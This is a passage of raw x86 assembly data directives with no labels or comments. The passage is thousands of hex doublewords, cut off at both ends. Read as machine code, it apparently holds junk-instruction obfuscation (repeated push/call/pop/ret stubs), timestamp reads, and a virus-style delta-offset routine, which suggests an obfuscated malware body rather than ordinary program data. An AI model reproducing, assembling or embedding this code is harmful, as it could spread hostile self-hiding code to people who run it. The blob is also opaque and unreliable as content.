3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 1170B245h, 998D13E0h, 6A006A10h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFC8C357h dd 130DA995h, 6810F06h, 31000000h, 131059B5h, 8B4B906h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0B5A61C3h, 131391BDh, 0FCE18306h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7C35040h, 4977BBE3h dd 0A79412FBh, 0DFBF0F46h, 0CE9h, 39F8BD00h, 0C29CD4A8h dd 247DCA1Bh, 0FCD98BF7h, 92F38166h, 0B835h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 3948F1C3h, 4860F58h, 66000000h, 2BC715BBh, 56006AD2h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 66E7900Ch, 1DD2E781h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 47C35747h dd 66004812h, 667FE9BFh, 0D2866BFh, 88h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 0C9C35646h, 0D780B99Bh dd 0BD958BCCh, 8B06131Bh, 0DD8D8BF9h, 6A061318h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 3249C353h, 0C5EEA11Eh, 8007663Ch, 8B5061CFh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0FA8B66FCh, 8FCFDB81h dd 0BD836B28h, 6131D1Dh, 0AA840F00h, 0F000000h, 0B8F9B7h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0D2DBC351h, 1860F4Ah, 0F8000000h dd 4F8D8D8Dh, 9D8B0613h, 6130B8Dh, 85896053h, 61315D5h dd 7E9h, 0C53EFD00h, 13710ECCh, 0E1FF5F61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 57C35646h, 0E9701B40h dd 14h, 9798287Fh, 0A7423EF0h, 3125C354h, 0EBEB1290h, 7ECBD242h dd 10E8h, 0E7FE0900h, 2C3A90A9h, 0C39D0F57h, 298AC43Ch dd 58A0F2Ch, 66000000h, 0F909E381h, 55BD835Bh, 61330h dd 453840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0F6EABEC3h, 0D60FCAFDh, 518D89DDh dd 83061330h, 133055BDh, 840F0106h, 438h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BC35646h, 0C8DEC450h dd 0BD8B158Fh, 6131BD5h, 3055BD83h, 0F030613h, 3CD86h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 0E2C11ED2h, 8589B1C2h, 6131DADh, 2C59B589h dd 0E8600613h, 12h, 0E7135270h, 0A6C600A4h, 8E0B9040h dd 25C7CE24h, 0BD31F34Dh, 6132405h, 0D98C665Bh, 0D7EADF81h dd 7E92F26h, 0A8000000h, 0B6730097h, 0E18083EDh, 80C38004h dd 840FC90Ah, 10Fh, 1BD59D8Bh, 858B0613h, 6132BB9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h, 0FE4D3BBh dd 881h, 0BD295300h, 6132A4Dh, 0B533605Bh, 6130635h, 2B35B589h dd 60610613h, 1DAD9D89h, 0B8510613h, 461596C9h, 8533615Ah dd 61305B9h, 6050FA8Bh, 9E9h, 0D3CA4900h, 0E953F505h, 0D88B878Dh dd 24048961h, 1A2D8589h, 6A0613h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 57C35040h, 8328F0D1h, 5B689740h dd 6E8F5h, 0D1150000h, 7671FB26h, 5199D8Bh, 685B0613h dd 175BDB6h, 2161BF66h, 49243481h, 6A016ABEh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0E7B1C350h, 2B619D8Bh, 95FF0613h, 6130A3Dh, 24098D89h dd 85890613h, 616C454h, 2C118589h, 0F9E90613h, 8B000001h dd 1311719Dh, 15BD0106h, 8B061305h, 16C44C85h, 0C75F5706h dd 1800h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 2A931940h, 0C450B58Bh, 6A0616h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD8BACC3h, 613054Dh, 2A55858Bh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0F3F6F8C3h dd 0D781A5A2h, 5EEF4013h, 6A0689h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8B1C04C3h, 132BB985h dd 8D9D8B06h, 66061329h, 89C77BBBh, 6A0446h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 256E1FC3h dd 0E950EBFEh, 13h, 0ABDCF2C1h, 0CFA0D524h, 20640012h dd 0E6505DB2h, 89ED7281h, 6A2434h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0AF97ADC3h, 0FE9h, 18845300h dd 98736201h, 58EE4AF8h, 63A239D2h, 0C44CB5FFh, 29600616h dd 131EAD95h, 4E86106h, 0FF000000h, 50001F03h, 448BDE8Ah dd 8A0F0424h, 0 dd 8E0F008Bh, 12h, 0AE853h, 71CF0000h, 7C7D52E2h, 11598741h dd 44895B5Bh, 29580424h, 1320E18Dh, 54858D06h, 0F0616C4h dd 5650DAB7h, 0FE9h, 0C142B00h, 0E9736FAh, 0F348DB8Ah dd 0E3F1FCCCh, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0E2C35646h, 62F7A73Bh, 0BB35BF66h, 68F0Fh dd 0B5890000h, 6131741h, 95FFDDB3h, 6130A3Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 78C35040h, 0DFD10C81h dd 51594367h, 5B7ACB80h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 5AC35367h, 305585C7h dd 30613h, 0D7810000h, 7839F168h, 0C454BD83h, 0F000616h dd 2584h, 0FAB70F00h, 38E9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 30500B11h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 0E66D5BAh, 0E64CE7EBh, 6A5BF553h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 5BE7C355h, 66694106h, 0BD83D88Bh, 6133055h, 8E850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0D38AC356h, 68B0FC5h, 81000000h dd 0C87F48C7h, 54BD8351h, 616C4h, 457840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0C5AB4BC3h, 96799797h, 0E852E7AFh, 7, 8D3A53F0h, 81484A5Ah dd 0F75D58D3h, 805B5F74h, 0B5FFF5DFh, 616C454h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 63C35646h, 0D9D91DF4h dd 0BB66455Dh, 0DE986EAh, 6000000h, 6FF40570h, 738149FDh dd 4D5212E1h, 96995FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 7CECDFC3h, 0B70FAEA6h dd 48B58BF9h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 7D6DC357h, 0F098D89h dd 6C70613h, 10001h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 8C35343h, 0B17AAE35h, 9D8B1188h, 61307E1h dd 52506050h, 310F5250h, 310F585Ah, 585AF08Bh, 61605250h dd 6160310Fh, 8961585Ah, 13E82434h, 21000000h, 82C4F4FCh dd 0A7BBB34Ch, 19671577h, 97B09758h, 8952A4D8h, 132335B5h dd 0FF5B5F06h, 16C454B5h, 2995FF06h, 66061332h, 0FF79F781h dd 0C448B58Bh, 11E80616h, 7D000000h, 46B5AEF6h, 0E2E73112h dd 9AECFDB8h, 8F26ED6Bh, 19199589h, 8B5F0613h, 13063185h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 86895F34h, 0C4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0AC35343h, 0D2AD27E8h, 7E00AC7Ch dd 1BBD958Bh, 8B660613h, 4C283DFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E1C35242h, 6660759Dh, 0CCEEA81h dd 508961FCh, 11BD8B20h, 23061306h, 132F8DBDh, 0E3858D06h dd 6A0616D8h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 73FFC352h, 86896B87h, 0B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 21C35646h, 90DCC4BFh dd 60006A33h, 1E4D9501h, 61FC0613h, 0C454B5FFh, 6A0616h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 687BD5C3h, 0FABF0FDFh, 1E9595FFh, 6A0613h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A59DD1C3h dd 14E950h, 5E740000h, 69C1C76Ah, 0CB929381h, 99DD5ABEh dd 0D7F63480h, 34894577h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B5FFEC57h dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 70C35747h, 0E9F956B0h, 0Fh, 467B3BE6h, 4077EC88h dd 0A7FDD57Bh, 0FF0CA3D9h, 13214595h, 0DE906h, 0F8640000h dd 44B92D76h, 15567407h, 66E37A70h, 0BD83FB8Bh, 6131495h dd 2B840F00h, 0E9000000h, 0Ah, 0FCCD0D16h, 5ADA54E0h, 50963F31h dd 118D0Fh, 0CE90000h, 74000000h, 0B9F94176h, 554254A8h dd 964A08ADh, 0B5FFDE8Bh, 616C454h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 3FC35040h, 0EE8F3B4Ah, 35381C0Bh dd 5AD95FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0C4D614C3h, 0FF6DE194h, 16C454B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 418531E6h, 0FF061315h, 13120995h, 0F98B6606h dd 511BD83h, 0F020613h, 5584h, 18C0F00h, 0F9000000h, 0BD958960h dd 61061304h, 0F55858Bh, 0C60613h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F765DE6Bh dd 41A50910h, 890F8C0Eh, 6, 2A9D8D89h, 8F0F0613h, 6, 22B9BD8Bh dd 85C70613h, 6131E51h, 0 dd 0D6741BBh, 0F271E919h, 23B3FFFFh, 0ACB7C18Bh, 1EA9858Dh dd 0F8600613h, 0C467B866h, 0ED852961h, 9006131Eh, 9E9h dd 5A8C8200h, 0C3AF073h, 66504A20h, 90DA1EBFh, 145BD09h dd 6A0613h, 0AE9h, 8D17A200h, 0D85A4BF5h, 6ACD2151h, 7C78100h dd 0B76BDFCDh, 66858DDEh, 60061771h, 6890Fh, 9D890000h dd 613251Dh, 301D9D89h, 83610613h, 6A05C0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 66500CC3h dd 898294BBh, 8B662404h, 6A006AFBh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0B9B7C357h dd 0FBD76A8Eh, 7CEA7C90h, 9CBF006Ah, 0FF705066h, 1307F195h dd 79BD8B06h, 8D061331h, 16A36A8Dh, 0D5B58906h, 0FF061316h dd 819D89D1h, 83061331h, 13173DBDh, 850F0106h, 0A0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 6AD7B70Bh dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0C401A237h, 1D8F0F90h, 60000000h, 0A846BA66h dd 11E8h, 39A1A300h, 2A834A17h, 0EAF73F13h, 0FC2ECCE5h dd 615F455Bh, 52505050h, 638074BFh, 0F310F62h, 8Eh, 5F585A00h dd 9595FF90h, 6A06131Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CAE8C356h, 4EDFE28Ch dd 0E5CE9h, 0E800h, 815D0000h, 177170EDh, 0FD98B06h, 858DFBBFh dd 6168F5Eh, 6E99589h, 0B70F0613h, 0DE8B50FBh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 5B6AC351h, 0B307CFBBh, 11E956h, 55B0000h dd 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h, 643779A6h, 35FFh, 0BF0F0000h dd 258964DFh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 47C35545h dd 1C2337C4h, 71D38190h, 5027138Ah, 8A0F60h, 0F000000h dd 5B61FBBFh, 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 24F729C3h, 7B6EDDE1h dd 8B5301CBh, 132A25BDh, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E3C6C351h dd 0B368F380h, 5DB5FF16h, 0F061300h, 186h, 95FFF800h, 61331ADh dd 0FFE9h, 0E19D8B00h, 0B006130Bh, 0E669B300h, 0A9B50970h dd 0E4061301h, 0CDBD0171h, 3C061301h, 0DD830F61h, 0E8000000h dd 0Dh, 0CAB6B60Ah, 0B7D8200Ah, 0EBF4A124h, 0BE960C5h dd 14000000h, 364F82D9h, 75317092h, 5F61CD16h, 3C8B60Fh dd 1300A19Dh, 6BA06h, 0BF660000h, 0C18B4F77h, 9559D8Bh dd 0E8C10613h, 0E2F76604h, 23C1BD8Bh, 0C82B0613h, 0C149DB81h dd 22B7130Fh, 9D8BD18Bh, 61308CDh, 68F0Fh, 9D090000h, 6131DB9h dd 6E9h, 0F8CF8100h, 8B07055Fh, 1329B185h, 0BF0F6006h dd 0EA8166D8h, 8361CA74h, 830F07C0h, 0 dd 0C083FB8Bh, 8A0F00h, 3B000000h, 14830FD0h, 0F000000h dd 35E9DEB7h, 0F000000h, 684h, 55BD8B00h, 8B06131Eh, 1311118Dh dd 0E183F506h, 19840F01h, 0F5000000h, 1111A583h, 0BFE0613h dd 132349BDh, 0B1958906h, 0E9061329h, 0 dd 37B58Dh, 13E90617h, 0F7000000h, 34BDABE3h, 0E7046A9Dh dd 384FC49Fh, 722BE86Eh, 6A805Fh, 2810Fh, 0DD8A0000h, 0DA995FFh dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0C1E0AFC3h, 9185294Ch, 0B9061329h, 81Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C4C35545h dd 823B5FD3h, 839BDEE9h, 6AFCE1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0B45155C3h, 22B52220h dd 8961F960h, 133109BDh, 6AFC06h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 8FEA41C3h, 0FCCF2A27h dd 0B8EAh, 0B5890000h, 6132CD1h, 0BAh, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F73941B6h, 8880Fh, 8B560000h, 132C09BDh, 33AD5F06h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0BE0325C3h, 0C1D975C2h dd 0AE90Bh, 0DB060000h, 710FFBC4h, 7CA11C22h, 0DAD9D89h dd 81660613h, 0D5DCCE7h, 88h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0A9C35141h, 52F60973h, 8BDFBF0Fh dd 131BBD95h, 0DE906h, 0B51D0000h, 11DF2BF3h, 0D052C7F5h dd 8BB86D94h, 1318DD8Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E80BC350h, 0Ah, 0C546EE50h dd 5151E804h, 84BFDDF8h, 5B412662h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 84C35343h, 0C199D8Bh, 0BD830613h dd 6131D1Dh, 3B840F00h, 66000000h, 15FAEF81h, 0B8D6B3h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0F54CC357h, 74583094h, 8D8D8D21h dd 0BB06134Fh, 784FCCB4h, 0BD83E1FFh, 6133055h, 4840F00h dd 0FC000005h, 3055BD83h, 0F010613h, 51184h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0D55FEDDAh, 81665D69h, 8393C5C3h, 133055BDh, 860F0306h dd 4A8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 79C35242h, 0A699529h, 89600613h, 1331018Dh, 0D98C6606h dd 1EB5BD09h, 0E1800613h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B92CC42Eh dd 0A8FB0F25h, 0CF816636h, 0EE9719Eh, 16000000h, 80B471A9h dd 6BF0AAF9h, 0FCDCBD43h, 0FC90A61h, 15284h, 6DBD8B00h dd 8B06131Fh, 132BB985h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 55CE827Eh, 0B7FEC781h dd 0C59D3377h, 66061320h, 8533D98Bh, 61305B9h, 1CF5BD89h dd 0E9500613h, 13h, 0B217D114h, 0D092D63Ah, 600A0A54h dd 0FAA4D1C3h, 895A0F9Eh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 4BA450C3h, 0D4A4FB0Bh dd 0FEBF0FF8h, 960193BFh, 6A006A53h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0EFD5C355h dd 20D8A3C5h, 810FA366h, 6, 2FADB589h, 66600613h, 0AE9CB8Bh dd 0D0000000h, 905D7291h, 0D2F0BBCEh, 18686141h, 533E2AA3h dd 52505250h, 585A310Fh, 6160310Fh, 815F585Ah, 0A0E72434h dd 85893E35h, 61331C5h, 0A3D95FFh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 54A913C3h dd 85894A9Dh, 616C454h, 0AE99D09h, 87E90613h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0C86EC351h, 60F8523Fh, 2A899D01h, 8B610613h dd 16C44C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 9529CD5Eh, 6132021h, 5800Fh, 81660000h dd 0C77BF2D7h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 4733C637h, 63FC1642h dd 0B58BEEA8h, 616C450h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 81C35747h, 27F27AA9h, 0D494C997h, 0EE968h dd 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h, 2A55858Bh dd 0CF810613h, 6323F460h, 0B70F0689h, 858BFCDFh, 6132BB9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 52C35545h dd 70C56A64h, 0C97A964Ah, 816660F1h, 8BB088D1h, 131059B5h dd 46896106h, 0F3816604h, 81660829h, 960966DFh, 5E8h, 9EF94C00h dd 2EB739CCh, 0F88B505Fh, 6810F96h, 89000000h, 130DC98Dh dd 4CB5FF06h, 6A0616C4h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 367AC353h, 7B59C117h dd 4E8h, 1F03FF00h, 8E900h, 2EB20000h, 8496AC0Ah, 8B50953Dh dd 0E8042444h, 0Fh, 6967E5E7h, 88AE33FFh, 0A0E556C4h, 0E8E8D37Fh dd 0Eh, 66644E70h, 3A0F7EBFh, 8A597E81h, 13E816ACh, 0FA000000h dd 5AF5F210h, 94885E62h, 0B3120845h, 5A9E9F21h, 5B5F9B3Dh dd 8B008B5Bh, 244489DAh, 1707BB04h, 6A586F85h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0BDB9C357h, 60FD288Ah, 89C3D181h, 0F86067ECh, 9E8h dd 0CBBF1900h, 46496875h, 615FAFBEh, 54858D61h, 6A0616C4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 2443C352h, 199D8BADh, 8B061316h, 1314B1BDh dd 60575006h, 0C88AC88Bh, 4895F61h, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F6EDB60h dd 95FFDBB7h, 6130A3Dh, 14E8h, 0C0AE5B00h, 0EBC5E79Ah dd 0DBABF1D4h, 7191A1CBh, 0F182738Ch, 9ABF6689h, 6A615FDCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 9208C356h, 2EE2B5E2h, 0EE988BAh, 0F000000h dd 17BF15DFh, 0AD17C280h, 2272F442h, 5585C79Fh, 3061330h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 1997C355h, 11D2CE8h, 610E3CADh dd 0C454BD83h, 0F000616h, 0B84h, 21E900h, 0BD8B0000h, 61312BDh dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8161C351h, 0B06E07EBh, 51BD8953h, 31061330h dd 1317698Dh, 55BD8306h, 3061330h, 439850Fh, 8D290000h dd 6132B35h, 0C454BD83h, 0F000616h, 42684h, 0CF816600h dd 0B5FF9424h, 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h dd 0E3C35040h, 0DD35616Eh, 1D9B589h, 95FF0613h, 6130969h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D8C35141h dd 0F535A43Ah, 0C448B58Bh, 6A0616h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 35604CC3h dd 2A51D396h, 0C99D8B49h, 0C7061305h, 1000106h, 0A9BD8B00h dd 96061321h, 820F5153h, 0 dd 96505F5Fh, 107BB66h, 0C454B5FFh, 6A0616h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B68718C3h dd 322995FFh, 85890613h, 61311E5h, 0C448B58Bh, 35BB0616h dd 8B0D4DD7h, 13063185h, 1810F06h, 0F5000000h, 0C48689h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 3F35FBC3h, 958B1539h, 6131BBDh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h, 0FF45A5D5h dd 5E9FFh, 0C0F0000h, 8397A667h, 6A04C2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0A85A3BC3h dd 1D106B7Fh, 85CB819Dh, 895F6636h, 8B662050h, 0E3858DD9h dd 310616D8h, 1309DDBDh, 0B8868906h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0D552C355h, 71CAB74Eh, 14E997h, 554D0000h, 9E72580Eh dd 0C2AECD37h, 456E7F85h, 254467CAh, 0E95662ECh, 0Bh, 738EEEAh dd 904882A8h, 5F2581C3h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 4F6DF5C3h, 66BE944Bh dd 2E8BCF81h, 0B5FFDA8Bh, 616C454h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 9DC35646h, 43E2C83Bh, 2FB799EAh dd 75BD8B01h, 0FF061330h, 131E9595h, 0DF8B6606h, 50E8B396h dd 0FE8h, 8BDA0700h, 0B7743699h, 43E44F20h, 1DBBF144h dd 0B5FF965Bh, 616C454h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0BDC35040h, 3A4DA24Bh, 0BD0B11C7h, 613285Dh dd 8E9h, 7A226F00h, 47620DBDh, 4595FF5Bh, 8A061321h, 95BD83DEh dd 61314h, 55840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 5BCE70C3h, 500E335Fh dd 4A28BF66h, 6A243489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 742BC356h, 0B9BD89EAh dd 5306130Ah, 25AD9529h, 0FF5B0613h, 16C454B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 95FFB730h, 61305ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0FCC35141h, 0A92AB12Ch, 995E555Dh, 0E3816683h dd 0B5FF5DC4h, 616C454h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 13C35242h, 188A0F7Eh, 0E9000000h, 13h dd 0ED479472h, 1345414Ah, 0D9F6EE80h, 989D42CCh, 0FF228DF2h dd 13120995h, 0F78B6006h, 61D7B70Fh, 511BD83h, 0F020613h dd 5284h, 8E800h, 0C3020000h, 363D97BBh, 0F5F7CB0h, 88Bh dd 85895300h, 6131469h, 55858B5Fh, 8B06130Fh, 0CAE381D9h dd 0C64B1E0Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0C5D667C3h, 0C448B614h, 0C78DDF80h dd 131E5185h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 906F9157h, 0B2FEDA40h dd 0E9F88B5Bh, 0FFFFF2BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 62C35747h, 8B0EC780h, 52006AC1h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0EA599EBCh, 15B3C6B7h, 0A9858D2Bh, 0F06131Eh, 681h dd 75858900h, 90061310h, 0D73BBF66h, 12E85750h, 46000000h dd 6506B7AAh, 72B1646Fh, 7EFBF5BDh, 0CE23313h, 5BDF8B68h dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 57A119C3h, 0DE9006Ah, 0F5000000h, 0CF417438h dd 0DD09F82Dh, 132FB9C6h, 6ADE8Bh, 1E158529h, 0F3810613h dd 83C297h, 8186858Dh, 6A0617h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0FD33E4C3h, 31161465h dd 130B75B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 4EC35545h, 3151BD0Bh, 50900613h, 14E9h dd 3C56CD00h, 0A3043669h, 0CB1988C9h, 19787F3Fh, 6E8FBB1Bh dd 8B669055h, 0F006ADFh, 188h, 6AF800h, 7352F381h, 95FF288Eh dd 61307F1h, 18880Fh, 13E90000h, 0FD000000h, 501B60F2h dd 5D9DB974h, 0CAD7F3A1h, 9BE1BA11h, 8D8DF911h, 616A36Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 88C35141h dd 0E6D6D686h, 0E0E596FFh, 6AD1FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 71BDD6C3h dd 0D98B6660h, 173DBD83h, 0F010613h, 4785h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0F5ED6889h, 0B3C5FFABh, 0BD2B98C2h, 6132C75h, 8956026Ah dd 131231B5h, 50905B06h, 21958990h, 0FF06130Dh, 131E9595h dd 0B5EB8006h, 0DE7E9h, 0E800h, 815D0000h, 178190EDh, 8166F906h dd 8DCD57C7h, 168F5E85h, 0FE906h, 960F0000h, 0DF4726F5h dd 0D107B5Dh, 3CDD0F97h, 0FE8B90DEh, 90FC8A50h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h, 0B6B60AB8h dd 